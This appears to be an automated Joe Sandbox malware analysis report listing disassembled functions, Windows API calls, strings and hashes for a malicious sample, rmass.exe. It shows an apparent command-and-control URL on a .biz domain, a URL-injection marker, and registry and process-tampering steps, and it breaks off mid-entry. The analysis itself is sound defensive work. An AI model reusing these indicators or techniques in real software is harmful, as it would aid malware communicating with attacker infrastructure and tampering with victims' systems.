Associated: 00000000.00000002.2081748652.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081794696.000000000040F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081824835.0000000000410000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p4C7Gm10K3.jbxd

Similarity

API ID: AddressProc
String ID: InternetCloseHandle$InternetOpenA$InternetOpenUrlA$InternetReadFile$InternetSetOptionA$winrnt.exe
API String ID: 190572456-2600980705
Opcode ID: efdde1d6433f62dedb2f88622d8dc77442539a25a3b2bb2a7ff2e73a7951e06f
Instruction ID: 63eaa8bc75678119ca595fc79afd30bbacb21d8015fafef53c274f568fe1bf47
Opcode Fuzzy Hash: efdde1d6433f62dedb2f88622d8dc77442539a25a3b2bb2a7ff2e73a7951e06f
Instruction Fuzzy Hash: 77115E62658342A9CB013BB94DC551A2D0CF516725360CB77E0E3FA1E3D73C99238A6F

Uniqueness

Uniqueness Score: -1.00%

Function 00403305 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,0002001F,?), ref: 00403322
RegQueryValueExA.ADVAPI32(?,SubshellState,00000000,0002001F,?,0000022A,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,0002001F), ref: 00403349
RegCloseKey.ADVAPI32(0002001F,?,SubshellState,00000000,0002001F,?,0000022A,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,0002001F), ref: 00403356
RegOpenKeyExA.ADVAPI32(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,0002001F,?,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,0002001F,?), ref: 0040336D
RegQueryValueExA.ADVAPI32(0002001F,SubshellState,00000000,0002001F,?,0000022A,80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,0002001F,?,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,0002001F), ref: 00403394
RegCloseKey.ADVAPI32(0002001F,0002001F,SubshellState,00000000,0002001F,?,0000022A,80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,0002001F,?,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,0002001F), ref: 004033A7

Strings

SubshellState, xrefs: 00403340, 0040338B
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced, xrefs: 00403318, 00403363

Memory Dump Source

Source File: 00000000.00000002.2081775483.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2081748652.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081794696.000000000040F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081824835.0000000000410000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p4C7Gm10K3.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced$SubshellState
API String ID: 3677997916-1581766880
Opcode ID: 2ee8fd4b13b53495e4a1400a0fad01071f7cc72d7e8bc85c9bc90e08962e5f77
Instruction ID: c555ee980e9abfa8c28e5f121e850944904ac1e59b17e8b59aea53d349d89e9f
Opcode Fuzzy Hash: 2ee8fd4b13b53495e4a1400a0fad01071f7cc72d7e8bc85c9bc90e08962e5f77
Instruction Fuzzy Hash: 8201D671248301BAE3109A51EC86F9B7ADC9F80744F10443FFE8AB50D1E6B8E864A65F

Uniqueness

Uniqueness Score: -1.00%

Function 00401038 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 45processfilesynchronizationCOMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32(?), ref: 00401046
CreateProcessA.KERNEL32(?,--k33p,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?), ref: 00401061
CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000004,00000000,00000000,?,--k33p,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00401076
WaitForSingleObject.KERNEL32(?,000000FF,?,80000000,00000000,00000000,00000004,00000000,00000000,?,--k33p,00000000,00000000,00000000,00000000,00000000), ref: 00401083
CloseHandle.KERNEL32(00000000,?,000000FF,?,80000000,00000000,00000000,00000004,00000000,00000000,?,--k33p,00000000,00000000,00000000,00000000), ref: 0040109A
CloseHandle.KERNEL32(?,?,000000FF,?,80000000,00000000,00000000,00000004,00000000,00000000,?,--k33p,00000000,00000000,00000000,00000000), ref: 004010A2
CloseHandle.KERNEL32(?,?,?,000000FF,?,80000000,00000000,00000000,00000004,00000000,00000000,?,--k33p,00000000,00000000,00000000), ref: 004010AB

Strings

--k33p, xrefs: 0040105B

Memory Dump Source

Source File: 00000000.00000002.2081775483.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2081748652.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081794696.000000000040F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081824835.0000000000410000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p4C7Gm10K3.jbxd

Similarity

API ID: CloseHandle$Create$FileInfoObjectProcessSingleStartupWait
String ID: --k33p
API String ID: 881816827-1573217081
Opcode ID: 5d5a426a22012b40dbf77aad49391620f4b9b394b88d16eb8c1546b5bb53c2c8
Instruction ID: 8066bfb0b53967ada52967b4418e7945b86cdbe5de05057fbb1ad19309dc722b
Opcode Fuzzy Hash: 5d5a426a22012b40dbf77aad49391620f4b9b394b88d16eb8c1546b5bb53c2c8
Instruction Fuzzy Hash: 94F05E70244B0576E62036328C8FF2F6559DF01B24F608A3BB660790E2EA7CA8515D6E

Uniqueness

Uniqueness Score: -1.00%

Function 00401983 Relevance: 12.1, APIs: 8, Instructions: 82networkCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32(00000000,8004667E,00000001), ref: 004019A3
connect.WS2_32(00000000,00000002,00000010), ref: 004019B4
ioctlsocket.WS2_32(00000000,8004667E,00000001), ref: 004019C4
WSAGetLastError.WS2_32 ref: 004019D0
ioctlsocket.WS2_32(00000000,8004667E,00000001), ref: 004019E3

Memory Dump Source

Source File: 00000000.00000002.2081775483.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2081748652.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081794696.000000000040F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081824835.0000000000410000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p4C7Gm10K3.jbxd

Similarity

API ID: ioctlsocket$ErrorLastconnect
String ID:
API String ID: 1886816560-0
Opcode ID: 2400e972c0e9ddf2b9affed38759af4aef1d47a06b3db7d643a6f2f69f199e33
Instruction ID: 7ca4e1aa6efa4e4985c6b63a06a3ad70c8f0fbc5506d5683ad8c2bedbe06a21d
Opcode Fuzzy Hash: 2400e972c0e9ddf2b9affed38759af4aef1d47a06b3db7d643a6f2f69f199e33
Instruction Fuzzy Hash: D021F8705052016AE3209A658C01FAB76ECDF85318F010A3FB191EA1E2EB7C9554CBAB

Uniqueness

Uniqueness Score: -1.00%

Function 004011CF Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019), ref: 004011F4
wsprintfA.USER32 ref: 0040120B
RegEnumKeyA.ADVAPI32(?,00000000,?,00000300), ref: 0040122F
RegCloseKey.ADVAPI32(?,00000000,00000000,?,00000300), ref: 0040123B
RegDeleteKeyA.ADVAPI32(?), ref: 00401242

Strings

%s\%s, xrefs: 00401201

Memory Dump Source

Source File: 00000000.00000002.2081775483.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2081748652.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081794696.000000000040F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081824835.0000000000410000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p4C7Gm10K3.jbxd

Similarity

API ID: CloseDeleteEnumOpenwsprintf
String ID: %s\%s
API String ID: 4202809218-4073750446
Opcode ID: 1d9d0bfcd87dd8ef45453f49292145cc93ebe540064fcdc2983ce96978b4f21b
Instruction ID: ca306f76ce8eae6bb017704f8a45eb17ba94ef2d79512a313227167690010306
Opcode Fuzzy Hash: 1d9d0bfcd87dd8ef45453f49292145cc93ebe540064fcdc2983ce96978b4f21b
Instruction Fuzzy Hash: 0FF0C2712843103BE225F21A9C82FBB659CDFC87D8F00043EF60AF51D2EA3C9D1191AA

Uniqueness

Uniqueness Score: -1.00%

Function 00401F06 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 108stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?), ref: 00401F4C
lstrcpy.KERNEL32(?,?), ref: 00401F74
wsprintfA.USER32 ref: 00401FC5
wsprintfA.USER32 ref: 00401FE7

Strings

http://%s.biz/d/G?, xrefs: 00401FBD
%02X, xrefs: 00401FE1

Memory Dump Source

Source File: 00000000.00000002.2081775483.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2081748652.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081794696.000000000040F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081824835.0000000000410000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p4C7Gm10K3.jbxd

Similarity

API ID: wsprintf$lstrcpylstrlen
String ID: %02X$http://%s.biz/d/G?
API String ID: 1876335253-1405168728
Opcode ID: c75f6b4d48a5bbeb8f2c1237be24a574a95d8af64be866cba6e778d022f54ecb
Instruction ID: e0bdc7e3bb12d4f3172dcd8bc2201614ea442c8a8193c297088bbb692e1f50c6
Opcode Fuzzy Hash: c75f6b4d48a5bbeb8f2c1237be24a574a95d8af64be866cba6e778d022f54ecb
Instruction Fuzzy Hash: 94311831A0034A8BD710EBE5C88479BBBF4AF41318F544137E451AB2D6D77CA945CB84

Uniqueness

Uniqueness Score: -1.00%

Function 004034C9 Relevance: 7.5, APIs: 5, Instructions: 49processstringCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004034E7
Process32First.KERNEL32(00000000), ref: 004034FD
lstrcmpiA.KERNEL32(00000000,?), ref: 00403511
Process32Next.KERNEL32(00000000), ref: 00403530
CloseHandle.KERNEL32(00000000), ref: 00403538

Memory Dump Source

Source File: 00000000.00000002.2081775483.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2081748652.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081794696.000000000040F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081824835.0000000000410000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p4C7Gm10K3.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcmpi
String ID:
API String ID: 868014591-0
Opcode ID: dd84ccb4d2654afd96aa6337ec5bc073c9a0479d15d7ba5b892f3b809bed8c3f
Instruction ID: c1730c4a262d1c5ddb531cf5a409bf9471f7e663502f7af43a59ba8fe8c46425
Opcode Fuzzy Hash: dd84ccb4d2654afd96aa6337ec5bc073c9a0479d15d7ba5b892f3b809bed8c3f
Instruction Fuzzy Hash: 7EF0CD7220420436D6203677AC46F6F7E9CDB45365F50053FBA58F51D3E93DCA0186A5

Uniqueness

Uniqueness Score: -1.00%

Function 004045A4 Relevance: 7.5, APIs: 5, Instructions: 37filethreadCOMMON

Download Yara Rule

APIs

GetFileSize.KERNEL32(?,00000000), ref: 004045AC

Part of subcall function 00401000: RtlAllocateHeap.NTDLL(00000000,00000014,00401EE7), ref: 00401009

ReadFile.KERNEL32(?,?,00000000,?,00000000,?,00000000), ref: 004045D2
CloseHandle.KERNEL32(?,?,?,00000000,?,00000000,?,00000000), ref: 004045DE
CreateThread.KERNEL32(00000000,00001000,Function_00001038,?,00000000,?), ref: 0040460D
CloseHandle.KERNEL32(00000000,00000000,00001000,Function_00001038,?,00000000,?,?,80000000,00000001,00000000,00000003,00000000,00000000,%ComSpec%,?), ref: 00404613

Memory Dump Source

Source File: 00000000.00000002.2081775483.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2081748652.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081794696.000000000040F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081824835.0000000000410000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p4C7Gm10K3.jbxd

Similarity

API ID: CloseFileHandle$AllocateCreateHeapReadSizeThread
String ID:
API String ID: 2298506686-0
Opcode ID: 3e1d92f795eb3d4b6eaa9b49809189fc5151056f361ff2f9e4ce89df5ca79b1c
Instruction ID: 7c85e5a38bd0fca043c36a3770b94a92fdb65d5b8a00a63ee3faec9a2554b619
Opcode Fuzzy Hash: 3e1d92f795eb3d4b6eaa9b49809189fc5151056f361ff2f9e4ce89df5ca79b1c
Instruction Fuzzy Hash: 23F0A470008744BAD320AAB1CC09F6B3288DF81704F50493FB3C4F60D2EA7C99044B6A

Uniqueness

Uniqueness Score: -1.00%

Function 0040187B Relevance: 6.1, APIs: 4, Instructions: 96networkCOMMON

Download Yara Rule

APIs

select.WS2_32(00000000,?,00000000,00000000,?), ref: 004018F9
recv.WS2_32(00000000,?,?,00000002), ref: 00401909
recv.WS2_32(00000000,?,00000001,00000000), ref: 00401928
recv.WS2_32(00000000,?,00000000,00000000), ref: 0040195E

Memory Dump Source

Source File: 00000000.00000002.2081775483.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2081748652.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081794696.000000000040F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081824835.0000000000410000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p4C7Gm10K3.jbxd

Similarity

API ID: recv$select
String ID:
API String ID: 873784944-0
Opcode ID: f1e86a0e893f62ee5fa033e5d0d6f1614fc3792d902459b89d9b6615e8d56e6e
Instruction ID: 0e7c0514ff34e4ed08866b55ff767d2318ba96abf9e9c78bb5005e9928d1fd1f
Opcode Fuzzy Hash: f1e86a0e893f62ee5fa033e5d0d6f1614fc3792d902459b89d9b6615e8d56e6e
Instruction Fuzzy Hash: 4831C2716083469FE720EE24C894B2BBBD8EF94744F10483EF5C5E62E1E3B98904C756

Uniqueness

Uniqueness Score: -1.00%

Function 004027EA Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 45stringCOMMON

Download Yara Rule

APIs

lstrcmpiA.KERNEL32(?,modem), ref: 00402847
lstrcmpiA.KERNEL32(?,isdn), ref: 00402865

Strings

isdn, xrefs: 00402850
modem, xrefs: 00402830

Memory Dump Source

Source File: 00000000.00000002.2081775483.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2081748652.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081794696.000000000040F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081824835.0000000000410000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p4C7Gm10K3.jbxd

Similarity

API ID: lstrcmpi
String ID: isdn$modem
API String ID: 1586166983-1928581975
Opcode ID: 81df9473c8702406657a654a6f43c140e6fd909b07f4e91828bd961a2bff35e9
Instruction ID: 1fd20589a5c177b5d244b704ac19eb0a17882c4c7e5a921d6270ae9881b3cb0b
Opcode Fuzzy Hash: 81df9473c8702406657a654a6f43c140e6fd909b07f4e91828bd961a2bff35e9
Instruction Fuzzy Hash: A1019276104705ABC700EB65CA98FAB73ECAB40304F14CD3AE4D5E62C1E3BCD5448B96

Uniqueness

Uniqueness Score: -1.00%

Function 004012C2 Relevance: 6.0, APIs: 4, Instructions: 28stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(?), ref: 004012E6
lstrcat.KERNEL32(00000000,?), ref: 004012EC
SetFileAttributesA.KERNEL32(?,00000080,00000000,?,?,0040AA7C), ref: 004012F7
DeleteFileA.KERNEL32(?,?,00000080,00000000,?,?,0040AA7C), ref: 004012FD

Memory Dump Source

Source File: 00000000.00000002.2081775483.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2081748652.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081794696.000000000040F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081824835.0000000000410000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p4C7Gm10K3.jbxd

Similarity

API ID: File$AttributesDeletelstrcatlstrcpy
String ID:
API String ID: 875521641-0
Opcode ID: 639515066c3d990516ac2a3136bef13f416b1ef9be93ad9602ec651735fa50ef
Instruction ID: ac0062008775948776803e6f6a7ba0f32bd5f245bff4d12fb7fdccc5d9a3c317
Opcode Fuzzy Hash: 639515066c3d990516ac2a3136bef13f416b1ef9be93ad9602ec651735fa50ef
Instruction Fuzzy Hash: 2AE0D872400300A5E6203639EC8DFAF759C9F40324F10893FF885711D1957C54948E6E

Uniqueness

Uniqueness Score: -1.00%

Function 004021DA Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 20stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000012,http://utbidet-ugeas.biz/d/rpt?), ref: 004021F7
lstrcat.KERNEL32(00000000,00000012), ref: 004021FD

Part of subcall function 00401C3E: lstrcpy.KERNEL32(?), ref: 00401C6A
Part of subcall function 00401C3E: lstrlen.KERNEL32(00000000), ref: 00401C70
Part of subcall function 00401C3E: htons.WS2_32(00000050), ref: 00401CD1
Part of subcall function 00401C3E: socket.WS2_32(00000002,00000001,00000006), ref: 00401D2C
Part of subcall function 00401C3E: closesocket.WS2_32(00000000), ref: 00401D4F
Part of subcall function 00401C3E: InternetOpenA.WININET(Mozilla/4.0 (compatible; MSIE 6.0; Win32),00000004,00000000,00000000,00000000), ref: 00401E65
Part of subcall function 00401C3E: InternetSetOptionA.WININET(00000000,00000002,00000004), ref: 00401E8B
Part of subcall function 00401C3E: InternetSetOptionA.WININET(00000000,00000006,00000004,00000004), ref: 00401E97
Part of subcall function 00401C3E: InternetSetOptionA.WININET(00000000,00000005,00000004,00000004), ref: 00401EA3

Part of subcall function 004021AF: InternetCloseHandle.WININET(?), ref: 004021BA
Part of subcall function 004021AF: InternetCloseHandle.WININET(00000000), ref: 004021C2

Strings

urlinj_conn, xrefs: 004021DA
http://utbidet-ugeas.biz/d/rpt?, xrefs: 004021ED

Memory Dump Source

Source File: 00000000.00000002.2081775483.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2081748652.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081794696.000000000040F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081824835.0000000000410000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p4C7Gm10K3.jbxd

Similarity

API ID: Internet$Option$CloseHandlelstrcpy$Openclosesockethtonslstrcatlstrlensocket
String ID: http://utbidet-ugeas.biz/d/rpt?$urlinj_conn
API String ID: 1417007407-2018722472
Opcode ID: 7ec40fe05a93b82721d80904a0c82f0ac233a126bbcddba85fd8fb74717d99e9
Instruction ID: c17a9db8bb3a20ef78ed205b9bcaaddea2596c828afa4941c02cc09d7013ae7e
Opcode Fuzzy Hash: 7ec40fe05a93b82721d80904a0c82f0ac233a126bbcddba85fd8fb74717d99e9
Instruction Fuzzy Hash: 46D0126169074726E620B2B68E0EF6F215C8FC4344F80843B7504F65C1DA7DE441566A

Uniqueness

Uniqueness Score: -1.00%

Function 00403A03 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,GetIpAddrTable), ref: 00403A1B

Strings

_Classes, xrefs: 00403A31
GetIpAddrTable, xrefs: 00403A03, 00403A15

Memory Dump Source

Source File: 00000000.00000002.2081775483.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2081748652.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081794696.000000000040F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081824835.0000000000410000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p4C7Gm10K3.jbxd

Similarity

API ID: AddressProc
String ID: GetIpAddrTable$_Classes
API String ID: 190572456-3592534314
Opcode ID: d3f1cc92324819b7274d08ef9ae37d4908f6a79702804be9029cd2ab427b2ca9
Instruction ID: a9ff5faeca46a04752ac10b07b4ddd8daaefac53876dae9cc3ad8f1621337e6c
Opcode Fuzzy Hash: d3f1cc92324819b7274d08ef9ae37d4908f6a79702804be9029cd2ab427b2ca9
Instruction Fuzzy Hash: EBD0128074838269CB111A3449810191C08D6577613668F73A0D3B90D6C23C4A134A6F

Uniqueness

Uniqueness Score: -1.00%

Function 004039B3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,RasEnumConnectionsA), ref: 004039CB

Strings

RasEnumConnectionsA, xrefs: 004039B3, 004039C5
iphlpapi.dll, xrefs: 004039E1

Memory Dump Source

Source File: 00000000.00000002.2081775483.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2081748652.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081794696.000000000040F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081824835.0000000000410000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p4C7Gm10K3.jbxd

Similarity

API ID: AddressProc
String ID: RasEnumConnectionsA$iphlpapi.dll
API String ID: 190572456-2181992158
Opcode ID: 2cbb665c77644556c815a87615f5b08a911e25a567cd6577e8e435e5e318dce4
Instruction ID: 64522f513b19e0167eb2d154f3ba062aaa806500629e3d3c77fb6f15c3e75435
Opcode Fuzzy Hash: 2cbb665c77644556c815a87615f5b08a911e25a567cd6577e8e435e5e318dce4
Instruction Fuzzy Hash: AED017E021C34278C7020B3C498101A1E0CA32B7623235F73A8A3F90D2C3BC8E169A6F

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rmass.exePID: 6436, Parent PID: 4420COMMON

Execution Graph

Execution Coverage:	34.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.2%
Total number of Nodes:	384
Total number of Limit Nodes:	12

Executed Functions

Function 00404116 Relevance: 73.7, APIs: 34, Strings: 8, Instructions: 238
registrystringsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 004040E1
CreateMutexA.KERNEL32(004087B8,00000001,qnd_b__-0F,00408856,%02X,00000001,00000000,rmass.exe,?,80000000,00000001,00000000,00000003,00000000,00000000,?), ref: 004040F2
GetLastError.KERNEL32 ref: 00404106
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00404125
RegDeleteValueA.ADVAPI32(00000000,SubshellState,00000002,00000000), ref: 0040414E
RegCloseKey.ADVAPI32(?,00000000,SubshellState,00000002,00000000), ref: 00404157
GetCurrentProcessId.KERNEL32(00000002,00000000), ref: 0040417B
Process32First.KERNEL32(00000000,00000128), ref: 00404198
lstrcmpiA.KERNEL32(00000000,rmass.exe), ref: 004041BE
lstrcmpiA.KERNEL32(00000000,winrnt.exe), ref: 004041CD
OpenProcess.KERNEL32(00100201,00000000,?,00000000,rmass.exe,00000000,00000128,00000000,00000128), ref: 004041E4
Process32Next.KERNEL32(00000000,00000128), ref: 00404203
CloseHandle.KERNEL32(00000000,00000000,00000128), ref: 0040420D
SetPriorityClass.KERNEL32(?,00000040,00000000,00000000,00000128), ref: 00404220
TerminateProcess.KERNEL32(?,00000000,00000000,00000000,00000128), ref: 0040423C
WaitForSingleObject.KERNEL32(?,00001388,00000000,00000000,00000128), ref: 00404258
CloseHandle.KERNEL32(?,?,00001388,00000000,00000000,00000128), ref: 00404265
SetFileAttributesA.KERNEL32(?,00000080,00000000,00000000,00000128), ref: 00404280
DeleteFileA.KERNEL32(?,?,00000080,00000000,00000000,00000128), ref: 00404286
RegOpenKeyExA.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00020019,?,00000002,00000000), ref: 004042AF
RegCreateKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00000000,00000000,000F003F,004087B8,?,00000000,80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00020019,?,00000002,00000000), ref: 004042E8
RegQueryValueExA.ADVAPI32(?,Default Flags,00000000,00000000,0040C160,00000012), ref: 00404319
RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003,0040C160,00000012,?,Default Flags,00000000,00000000,0040C160,00000012), ref: 00404339
RegCloseKey.ADVAPI32(?,?,Default Flags,00000000,00000000,0040C160,00000012), ref: 00404351
RegDeleteKeyA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy), ref: 00404367
RegCloseKey.ADVAPI32(?,80000002,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00000000,00000000,000F003F,004087B8,?,00000000,80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00020019,?,00000002), ref: 00404373
CloseHandle.KERNEL32(?,00000000), ref: 004043A5

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe, xrefs: 00404618
Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy, xrefs: 004042A5, 004042DE, 0040435D
Default Flags, xrefs: 0040430D, 0040432D
qnd_b__-0F, xrefs: 004040E6
rmass.exe, xrefs: 004041AA
SubshellState, xrefs: 00404148
%02X, xrefs: 004040D7
winrnt.exe, xrefs: 004041C7

Memory Dump Source

Source File: 00000002.00000002.4536736875.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4536656870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536902998.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536978066.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: Close$CreateDeleteHandleProcessValue$FileOpenProcess32lstrcmpi$AttributesClassCurrentErrorFirstLastMutexNextObjectPriorityQuerySingleSnapshotTerminateToolhelp32Waitwsprintf
String ID: %02X$Default Flags$SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe$Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy$SubshellState$qnd_b__-0F$rmass.exe$winrnt.exe
API String ID: 3062393105-1696858553
Opcode ID: 443a5afcfd37fc95d7a7cbc502a1b11e0d5b8895baf4ac8e146c86d839fdb0eb
Instruction ID: 8e1618e2bde4c7783b0b7d31d7bca8840ba3e1b0216afcb436e071a04c66a11f
Opcode Fuzzy Hash: 443a5afcfd37fc95d7a7cbc502a1b11e0d5b8895baf4ac8e146c86d839fdb0eb
Instruction Fuzzy Hash: BE81D670288741A9E630AB728D46F5F71D8EFD0748F60483FB785B50D2DABC95019A1F

Uniqueness

Uniqueness Score: -1.00%

Function 0040370C Relevance: 43.9, APIs: 16, Strings: 9, Instructions: 175
libraryloadernativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

